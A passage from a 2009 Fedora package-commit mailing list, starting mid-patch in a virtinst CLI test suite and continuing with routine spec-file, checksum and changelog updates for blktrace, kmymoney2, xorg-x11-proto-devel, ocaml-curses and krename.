+            for optstr in catdict["valid"]:
+                cmdstr = "./%s %s %s %s" % (app, global_args,
+                                            category_args, optstr)
+                assertPass(cmdstr)
+
+            for optstr in catdict["invalid"]:
+                cmdstr = "./%s %s %s %s" % (app, global_args,
+                                            category_args, optstr)
+                assertFail(cmdstr)
+
+def main():
+    # CLI Args
+    global debug
+    global testprompt
+
+    if len(sys.argv) > 1:
+        for i in range(1, len(sys.argv)):
+            if sys.argv[i].count("debug"):
+                debug = True
+            elif sys.argv[i].count("prompt"):
+                testprompt = True
+
+    # Setup needed files
+    for i in exist_files:
+        if os.path.exists(i):
+            raise ValueError("'%s' will be used by testsuite, can not already"
+                             " exist." % i)
+        os.system("touch %s" % i)
+
+    try:
+        run_tests()
+    finally:
+        # Cleanup files
+        for i in clean_files:
+            os.system("rm %s > /dev/null 2>&1" % i)
+
+if __name__ == "__main__":
+    main()
diff -Nrup virtinst-0.400.3/tests/cli-test-xml/clone-disk.xml new/tests/cli-test-xml/clone-disk.xml
--- virtinst-0.400.3/tests/cli-test-xml/clone-disk.xml	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/cli-test-xml/clone-disk.xml	2009-06-18 14:46:28.102170000 -0400
@@ -0,0 +1,34 @@
+<domain type='test' id='1'>
+  <name>origtest</name>
+  <uuid>db69fa1f-eef0-e567-3c20-3ef16f10376b</uuid>
+  <memory>8388608</memory>
+  <currentMemory>2097152</currentMemory>
+  <vcpu>2</vcpu>
+  <os>
+    <type arch='i686'>hvm</type>
+    <boot dev='hd'/>
+  </os>
+  <clock offset='utc'/>
+  <on_poweroff>destroy</on_poweroff>
+  <on_reboot>restart</on_reboot>
+  <on_crash>destroy</on_crash>
+  <devices>
+    <disk type='file' device='disk'>
+      <target dev='hda' bus='ide'/>
+      <source file='cli_exist1.img'/>
+    </disk>
+    <disk type='file' device='disk'>
+      <target dev='hdb' bus='ide'/>
+      <source file='cli_exist2.img'/>
+    </disk>
+    <disk type='file' device='cdrom'>
+      <target dev='hdc' bus='ide'/>
+      <source file='cli_exist2.img'/>
+      <readonly/>
+    </disk>
+    <disk type='file' device='floppy'>
+      <target dev='fda' bus='fdc'/>
+      <readonly/>
+    </disk>
+  </devices>
+</domain>
diff -Nrup virtinst-0.400.3/tests/cli-test-xml/faketree/images/boot.iso new/tests/cli-test-xml/faketree/images/boot.iso
--- virtinst-0.400.3/tests/cli-test-xml/faketree/images/boot.iso	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/cli-test-xml/faketree/images/boot.iso	2009-06-18 14:46:28.110167000 -0400
@@ -0,0 +1 @@
+testiso
diff -Nrup virtinst-0.400.3/tests/cli-test-xml/faketree/images/pxeboot/initrd.img new/tests/cli-test-xml/faketree/images/pxeboot/initrd.img
--- virtinst-0.400.3/tests/cli-test-xml/faketree/images/pxeboot/initrd.img	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/cli-test-xml/faketree/images/pxeboot/initrd.img	2009-06-18 14:46:28.114169000 -0400
@@ -0,0 +1 @@
+testinitrd
diff -Nrup virtinst-0.400.3/tests/cli-test-xml/faketree/images/pxeboot/vmlinuz new/tests/cli-test-xml/faketree/images/pxeboot/vmlinuz
--- virtinst-0.400.3/tests/cli-test-xml/faketree/images/pxeboot/vmlinuz	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/cli-test-xml/faketree/images/pxeboot/vmlinuz	2009-06-18 14:46:28.112171000 -0400
@@ -0,0 +1 @@
+testvmlinuz
diff -Nrup virtinst-0.400.3/tests/cli-test-xml/image.xml new/tests/cli-test-xml/image.xml
--- virtinst-0.400.3/tests/cli-test-xml/image.xml	1969-12-31 19:00:00.000000000 -0500
+++ new/tests/cli-test-xml/image.xml	2009-06-18 14:46:28.104169000 -0400
@@ -0,0 +1,38 @@
+<image>
+  <label>A simple test image</label>
+  <domain>
+    <boot type='xen'>
+      <guest>
+        <os_type>xen</os_type>
+        <arch>i686</arch>
+        <features><pae/></features>
+      </guest>
+      <os>
+        <loader>pygrub</loader>
+      </os>
+      <drive disk="cli_root.raw" target="xvda"/>
+      <drive disk="cli_scratch.raw" target="xvdc"/>
+    </boot>
+    <boot type="hvm">
+      <guest>
+        <arch>i686</arch>
+        <features><pae/></features>
+      </guest>
+      <os>
+        <type>hvm</type>
+        <loader dev="hd"/>
+      </os>
+      <drive disk="cli_root.raw" target="hda"/>
+    </boot>
+    <devices>
+       <vcpu>7</vcpu>
+       <memory>262144</memory>
+       <interface/>
+       <graphics/>
+    </devices>
+  </domain>
+  <storage>
+    <disk file="cli_root.raw" format="raw" size="4096" use="system"/>
+    <disk file="cli_scratch.raw" format="raw" size='100' use='scratch'/>
+  </storage>
+</image>


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-11/python-virtinst.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- python-virtinst.spec	5 Oct 2009 19:09:09 -0000	1.72
+++ python-virtinst.spec	6 Oct 2009 15:10:00 -0000	1.73
@@ -47,6 +47,8 @@ Patch14: %{appname}-%{version}-f12-distr
 Patch15: %{appname}-%{version}-sasl-auth.patch
 # Use ACPI for windows on KVM (bz 479977)
 Patch16: %{appname}-%{version}-windows-acpi.patch
+# Add CLI tests
+Patch17: %{appname}-%{version}-add-cli-test.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -90,6 +92,7 @@ and install new VMs) and virt-clone (clo
 %patch14 -p1
 %patch15 -p1
 %patch16 -p1
+%patch17 -p1
 
 %build
 python setup.py build



From sandeen at fedoraproject.org  Tue Oct  6 15:28:26 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Tue,  6 Oct 2009 15:28:26 +0000 (UTC)
Subject: rpms/blktrace/F-11 blktrace.spec,1.8,1.9 sources,1.5,1.6
Message-ID: <20091006152827.12C1411C00C1@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/blktrace/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12159

Modified Files:
	blktrace.spec sources 
Log Message:
* Tue Oct 02 2009 Eric Sandeen <sandeen at redhat.com> - 1.0.1-3
- Push 1.0.1 to F11 to fix reported btt segfault (#527485)



Index: blktrace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blktrace/F-11/blktrace.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- blktrace.spec	24 Feb 2009 05:02:49 -0000	1.8
+++ blktrace.spec	6 Oct 2009 15:28:22 -0000	1.9
@@ -1,6 +1,6 @@
 Summary: Utilities for performing block layer IO tracing in the linux kernel
 Name: blktrace
-Version: 1.0.0
+Version: 1.0.1
 Release: 3%{?dist}
 License: GPLv2+
 Group: Development/System
@@ -21,7 +21,7 @@ You should install the blktrace package 
 information about IO patterns.
 
 %prep
-%setup -q -n blktrace
+%setup -q
 
 %build
 make CFLAGS="%{optflags}" all
@@ -39,11 +39,20 @@ rm -rf %{buildroot}
 %doc README COPYING
 %doc btt/doc/btt.pdf btreplay/doc/btreplay.pdf doc/blktrace.pdf
 %{_bindir}/*
-%exclude %{_bindir}/bno_plot.py[co]
 %attr(0644,root,root) /usr/share/man/man1/*
 %attr(0644,root,root) /usr/share/man/man8/*
 
 %changelog
+* Tue Oct 02 2009 Eric Sandeen <sandeen at redhat.com> - 1.0.1-3
+- Push 1.0.1 to F11 to fix reported btt segfault (#527485)
+
+* Mon May 11 2009 Eric Sandeen <sandeen at redhat.com> - 1.0.1-2
+- Upstream respun the release tarball to re-include top-level dir
+- drop exclude of bno_plot.py[co], not getting built now?
+
+* Mon May 11 2009 Eric Sandeen <sandeen at redhat.com> - 1.0.1-1
+- New upstream version
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/blktrace/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	6 Nov 2008 15:38:59 -0000	1.5
+++ sources	6 Oct 2009 15:28:23 -0000	1.6
@@ -1 +1 @@
-e58f359f6c27efe7043be19abb8b95ba  blktrace-1.0.0.tar.bz2
+2ee706ed1a7fc378edb2fbdbce0a11fb  blktrace-1.0.1.tar.bz2



From rdieter at fedoraproject.org  Tue Oct  6 15:45:18 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 15:45:18 +0000 (UTC)
Subject: rpms/kmymoney2/devel kmymoney2-1.0.2-no_it_locale.patch, NONE,
	1.1 kmymoney2.spec, 1.46,
	1.47 kmymoney2-1.0.1-no_it_locale.patch, 1.1, NONE
Message-ID: <20091006154518.40DD011C0298@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17317

Modified Files:
	kmymoney2.spec 
Added Files:
	kmymoney2-1.0.2-no_it_locale.patch 
Removed Files:
	kmymoney2-1.0.1-no_it_locale.patch 
Log Message:
sync mods from EL-5/ branch


kmymoney2-1.0.2-no_it_locale.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE kmymoney2-1.0.2-no_it_locale.patch ---
diff -up kmymoney2-1.0.2/po/Makefile.in.no_it_locale kmymoney2-1.0.2/po/Makefile.in
--- kmymoney2-1.0.2/po/Makefile.in.no_it_locale	2009-10-03 03:26:58.000000000 -0500
+++ kmymoney2-1.0.2/po/Makefile.in	2009-10-04 17:06:37.547913857 -0500
@@ -310,8 +310,8 @@ xdg_menudir = @xdg_menudir@
 ####### kdevelop will overwrite this part!!! (end)############
 #>- POFILES = AUTO
 #>+ 2
-POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po it.po
-GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo it.gmo
+POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po
+GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo
 CONFIG_CLEAN_FILES = $(GMOFILES)
 #>- all: all-am
 #>+ 1


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/devel/kmymoney2.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- kmymoney2.spec	4 Oct 2009 21:26:26 -0000	1.46
+++ kmymoney2.spec	6 Oct 2009 15:45:17 -0000	1.47
@@ -27,7 +27,7 @@ Source0: http://downloads.sourceforge.ne
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 # RHEL5's gettext doesn't grok it.po
-Patch1: kmymoney2-1.0.1-no_it_locale.patch
+Patch1: kmymoney2-1.0.2-no_it_locale.patch
 
 # Upstream (and rpmforge) call this kmymoney, so we'll get ready.
 Obsoletes: kmymoney < %{version}-%{release}


--- kmymoney2-1.0.1-no_it_locale.patch DELETED ---



From rdieter at fedoraproject.org  Tue Oct  6 15:48:42 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 15:48:42 +0000 (UTC)
Subject: rpms/kmymoney2/F-11 kmymoney2-1.0.2-no_it_locale.patch, NONE,
	1.1 .cvsignore, 1.16, 1.17 kmymoney2.spec, 1.39, 1.40 sources,
	1.15, 1.16 kmymoney2-1.0.1-no_it_locale.patch, 1.1, NONE
Message-ID: <20091006154842.1B51711C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18140

Modified Files:
	.cvsignore kmymoney2.spec sources 
Added Files:
	kmymoney2-1.0.2-no_it_locale.patch 
Removed Files:
	kmymoney2-1.0.1-no_it_locale.patch 
Log Message:
* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
- kmymoney2-1.0.2


kmymoney2-1.0.2-no_it_locale.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE kmymoney2-1.0.2-no_it_locale.patch ---
diff -up kmymoney2-1.0.2/po/Makefile.in.no_it_locale kmymoney2-1.0.2/po/Makefile.in
--- kmymoney2-1.0.2/po/Makefile.in.no_it_locale	2009-10-03 03:26:58.000000000 -0500
+++ kmymoney2-1.0.2/po/Makefile.in	2009-10-04 17:06:37.547913857 -0500
@@ -310,8 +310,8 @@ xdg_menudir = @xdg_menudir@
 ####### kdevelop will overwrite this part!!! (end)############
 #>- POFILES = AUTO
 #>+ 2
-POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po it.po
-GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo it.gmo
+POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po
+GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo
 CONFIG_CLEAN_FILES = $(GMOFILES)
 #>- all: all-am
 #>+ 1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-11/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	24 Sep 2009 17:02:33 -0000	1.16
+++ .cvsignore	6 Oct 2009 15:48:41 -0000	1.17
@@ -1 +1 @@
-kmymoney2-1.0.1.tar.bz2
+kmymoney2-1.0.2.tar.bz2


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-11/kmymoney2.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- kmymoney2.spec	24 Sep 2009 17:02:33 -0000	1.39
+++ kmymoney2.spec	6 Oct 2009 15:48:41 -0000	1.40
@@ -17,7 +17,7 @@ BuildRequires: libutempter-devel
 
 Summary: Personal finance 
 Name:	 kmymoney2
-Version: 1.0.1
+Version: 1.0.2
 Release: 1%{?dist}
 
 License: GPLv2+
@@ -27,7 +27,7 @@ Source0: http://downloads.sourceforge.ne
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 # RHEL5's gettext doesn't grok it.po
-Patch1: kmymoney2-1.0.1-no_it_locale.patch
+Patch1: kmymoney2-1.0.2-no_it_locale.patch
 
 # Upstream (and rpmforge) call this kmymoney, so we'll get ready.
 Obsoletes: kmymoney < %{version}-%{release}
@@ -88,7 +88,7 @@ unset QTDIR || : ; . /etc/profile.d/qt.s
   --disable-rpath \
   --enable-new-ldflags \
   --disable-debug --disable-warnings \
-  --disable-dependency-tracking --disable-final \
+  --disable-dependency-tracking \
   %{?_enable_sqlite3} %{!?_enable_sqlite3:--disable-sqlite3} \
   %{?_enable_ofxbanking} %{!?_enable_ofxbanking: --disable-ofxbanking --disable-ofxplugin } \
   %{?_with_check:--disable-final}
@@ -160,7 +160,6 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_datadir}/icons/locolor &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/oxygen &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/Tango &> /dev/null || :
-
 fi
 
 %posttrans
@@ -212,6 +211,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
+- kmymoney2-1.0.2
+
 * Sun Sep 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.1-1
 - kmymoney2-1.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-11/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	24 Sep 2009 17:02:33 -0000	1.15
+++ sources	6 Oct 2009 15:48:41 -0000	1.16
@@ -1 +1 @@
-7c0cb96009946ee83de9160029786389  kmymoney2-1.0.1.tar.bz2
+47de02c4c7e44fb208d2f176764a7f7d  kmymoney2-1.0.2.tar.bz2


--- kmymoney2-1.0.1-no_it_locale.patch DELETED ---



From ajax at fedoraproject.org  Tue Oct  6 15:48:38 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 15:48:38 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/F-12 sources, 1.60,
	1.61 xorg-x11-proto-devel.spec, 1.110, 1.111
Message-ID: <20091006154838.3DE3911C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18104

Modified Files:
	sources xorg-x11-proto-devel.spec 
Log Message:
oops, sync with devel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	6 Oct 2009 14:25:02 -0000	1.60
+++ sources	6 Oct 2009 15:48:37 -0000	1.61
@@ -1,27 +1,27 @@
 d30c5dbf19ca6dffcd9788227ecff8c5  bigreqsproto-1.1.0.tar.bz2
-6281344d656d4e0c8e9db4918efe3d1d  compositeproto-0.4.tar.bz2
+3692f3f8b2ea10dff3d2cede8dc65e79  compositeproto-0.4.1.tar.bz2
 434b931b02bd83ed9fc44951df81cdac  damageproto-1.2.0.tar.bz2
-7bd9ccde42f022725c0086bd93d269f3  dmxproto-2.2.99.1.tar.bz2
+880a41720b2937e2660dcdc0d34a8791  dmxproto-2.3.tar.bz2
 5c74f61d6f77b2e6a083b2b31000be42  evieext-1.1.0.tar.bz2
 f3a857deadca3144fba041af1dbf7603  fontsproto-2.1.0.tar.bz2
 6092cdb0a1225f95356ddbe6c2abaad5  kbproto-1.0.3.tar.bz2
-1ab825ee2dbf32dd4a09cfca89d0fad7  recordproto-1.13.99.1.tar.bz2
+70f5998c673aa510e2acd6d8fb3799de  recordproto-1.14.tar.bz2
 b160a9733fe91b666e74fca284333148  renderproto-0.11.tar.bz2
 84795594b3ebd2ee2570cf93340d152c  resourceproto-1.1.0.tar.bz2
 9040c991a56ee9b5976936f8c65d5c8a  scrnsaverproto-1.2.0.tar.bz2
 fb762146a18207a1e8bc9f299dfc7ac0  videoproto-2.3.0.tar.bz2
 7b83e4a7e9f4edc9c6cfb0500f4a7196  xcmiscproto-1.2.0.tar.bz2
 120e226ede5a4687b25dd357cc9b8efe  xf86bigfontproto-1.2.0.tar.bz2
-a0135bcc07009475a9db5aee362566fc  xf86dgaproto-2.0.99.1.tar.bz2
+a036dc2fcbf052ec10621fd48b68dbb1  xf86dgaproto-2.1.tar.bz2
 309d552732666c3333d7dc63e80d042f  xf86driproto-2.1.0.tar.bz2
 acae8edeb05a406f7f60bcbb218a8f1d  xf86miscproto-0.9.2.tar.bz2
-128a61f6e275cb76566e4ce477631938  xf86vidmodeproto-2.2.99.1.tar.bz2
-ae9dde9a3a81880cb718b36d32198fcd  xineramaproto-1.1.99.1.tar.bz2
-1a2b31430d04340be2e49e8b6445e076  xproto-7.0.15.tar.bz2
+4434894fc7d4eeb4a22e6b876d56fdaa  xf86vidmodeproto-2.3.tar.bz2
+a8aadcb281b9c11a91303e24cdea45f5  xineramaproto-1.2.tar.bz2
+75c9edff1f3823e5ab6bb9e66821a901  xproto-7.0.16.tar.bz2
 d28007a50976204960fc1fc07b4ca093  xproxymanagementprotocol-1.0.2.tar.bz2
 c9f8cebfba72bfab674bc0170551fb8d  glproto-1.4.10.tar.bz2
 5cb7987d29db068153bdc8f23c767c43  dri2proto-2.1.tar.bz2
-1937db6f8881409a1fc8b45bcc01f4ad  inputproto-1.9.99.902.tar.bz2
-fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
+0f7acbc14a082f9ae03744396527d23d  inputproto-2.0.tar.bz2
 a5c244c36382b0de39b2828cea4b651d  randrproto-1.3.1.tar.bz2
+fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
 4c1cb4f2ed9f34de59f2f04783ca9483  fixesproto-4.1.1.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/xorg-x11-proto-devel.spec,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- xorg-x11-proto-devel.spec	6 Oct 2009 14:25:02 -0000	1.110
+++ xorg-x11-proto-devel.spec	6 Oct 2009 15:48:37 -0000	1.111
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 32%{?dist}
+Release: 33%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -15,18 +15,18 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 BuildArch: noarch
 
 Source0:  http://www.x.org/pub/individual/proto/bigreqsproto-1.1.0.tar.bz2
-Source1:  http://www.x.org/pub/individual/proto/compositeproto-0.4.tar.bz2
+Source1:  http://www.x.org/pub/individual/proto/compositeproto-0.4.1.tar.bz2
 Source2:  http://www.x.org/pub/individual/proto/damageproto-1.2.0.tar.bz2
-Source3:  http://www.x.org/pub/individual/proto/dmxproto-2.2.99.1.tar.bz2
+Source3:  http://www.x.org/pub/individual/proto/dmxproto-2.3.tar.bz2
 Source31: http://www.x.org/pub/individual/proto/dri2proto-2.1.tar.bz2
 Source4:  http://www.x.org/pub/individual/proto/evieext-1.1.0.tar.bz2
 Source5:  http://www.x.org/pub/individual/proto/fixesproto-4.1.1.tar.bz2
 Source7:  http://www.x.org/pub/individual/proto/fontsproto-2.1.0.tar.bz2
 Source8:  http://www.x.org/pub/individual/proto/glproto-1.4.10.tar.bz2
-Source9:  http://www.x.org/pub/individual/proto/inputproto-1.9.99.902.tar.bz2
+Source9:  http://www.x.org/pub/individual/proto/inputproto-2.0.tar.bz2
 Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.3.tar.bz2
 Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.1.tar.bz2
-Source14: http://www.x.org/pub/individual/proto/recordproto-1.13.99.1.tar.bz2
+Source14: http://www.x.org/pub/individual/proto/recordproto-1.14.tar.bz2
 Source15: http://www.x.org/pub/individual/proto/renderproto-0.11.tar.bz2
 Source16: http://www.x.org/pub/individual/proto/resourceproto-1.1.0.tar.bz2
 Source17: http://www.x.org/pub/individual/proto/scrnsaverproto-1.2.0.tar.bz2
@@ -34,12 +34,12 @@ Source19: http://www.x.org/pub/individua
 Source20: http://www.x.org/pub/individual/proto/xcmiscproto-1.2.0.tar.bz2
 Source21: http://www.x.org/pub/individual/proto/xextproto-7.1.1.tar.bz2
 Source22: http://www.x.org/pub/individual/proto/xf86bigfontproto-1.2.0.tar.bz2
-Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.0.99.1.tar.bz2
+Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.1.tar.bz2
 Source24: http://www.x.org/pub/individual/proto/xf86driproto-2.1.0.tar.bz2
 Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.2.tar.bz2
-Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.2.99.1.tar.bz2
-Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.1.99.1.tar.bz2
-Source29: http://www.x.org/pub/individual/proto/xproto-7.0.15.tar.bz2
+Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.3.tar.bz2
+Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.2.tar.bz2
+Source29: http://www.x.org/pub/individual/proto/xproto-7.0.16.tar.bz2
 Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.2.tar.bz2
 
 Patch1: dri2-page-flip.patch
@@ -53,6 +53,8 @@ Requires: libXau-devel
 %endif
 Requires: pkgconfig
 
+Conflicts: libXxf86dga-devel < 1.1
+
 %description
 X.Org X11 Protocol headers
 
@@ -209,6 +211,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/xf86bigfont.h
 %{_includedir}/X11/extensions/xf86bigfproto.h
 %{_includedir}/X11/extensions/xf86bigfstr.h
+%{_includedir}/X11/extensions/xf86dga.h
 %{_includedir}/X11/extensions/xf86dga1const.h
 %{_includedir}/X11/extensions/xf86dga1proto.h
 %{_includedir}/X11/extensions/xf86dga1str.h
@@ -264,9 +267,20 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
-* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-32
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-33
+- Upload xf86dgaproto 2.1 tarball, this time for real.
+
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-32
+- compositeproto 0.4.1
+- xf86dgaproto 2.1
+- dmxproto 2.3
+- inputproto 2.0
 - fixesproto 4.1.1
 - randrproto 1.3.1
+- recordproto 1.14
+- xf86vidmodeproto 2.3
+- xineramaproto 1.2
+- xproto 7.0.16
 
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-31
 - bigreqsproto 1.1.0



From rjones at fedoraproject.org  Tue Oct  6 15:50:44 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue,  6 Oct 2009 15:50:44 +0000 (UTC)
Subject: rpms/ocaml-curses/F-12 ocaml-curses.spec,1.13,1.14
Message-ID: <20091006155044.1EDEC11C02A0@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-curses/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18698

Modified Files:
	ocaml-curses.spec 
Log Message:
Use ncursesw for wide character support.


Index: ocaml-curses.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-curses/F-12/ocaml-curses.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocaml-curses.spec	25 Jul 2009 19:55:04 -0000	1.13
+++ ocaml-curses.spec	6 Oct 2009 15:50:43 -0000	1.14
@@ -3,7 +3,7 @@
 
 Name:           ocaml-curses
 Version:        1.0.3
-Release:        6%{?dist}
+Release:        6%{?dist}.1
 Summary:        OCaml bindings for ncurses
 
 Group:          Development/Libraries
@@ -47,7 +47,7 @@ autoreconf
 
 
 %build
-%configure
+%configure --enable-widec
 make all opt
 
 strip dllcurses_stubs.so
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.3-6.fc12.1
+- Use ncursesw for wide character support.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mathstuf at fedoraproject.org  Tue Oct  6 15:57:09 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Tue,  6 Oct 2009 15:57:09 +0000 (UTC)
Subject: rpms/krename/devel .cvsignore, 1.4, 1.5 krename.spec, 1.9,
	1.10 sources, 1.4, 1.5
Message-ID: <20091006155709.48ACD11C029F@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/krename/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20678

Modified Files:
	.cvsignore krename.spec sources 
Log Message:
Update to 4.0.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/krename/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	29 Sep 2009 21:49:00 -0000	1.4
+++ .cvsignore	6 Oct 2009 15:57:08 -0000	1.5
@@ -1 +1 @@
-krename-4.0.0.tar.bz2
+krename-4.0.1.tar.bz2


Index: krename.spec
===================================================================
RCS file: /cvs/pkgs/rpms/krename/devel/krename.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- krename.spec	29 Sep 2009 21:49:00 -0000	1.9
+++ krename.spec	6 Oct 2009 15:57:08 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           krename
-Version:        4.0.0
+Version:        4.0.1
 Release:        1%{?dist}
 Summary:        Powerful batch file renamer
 Group:          Applications/File
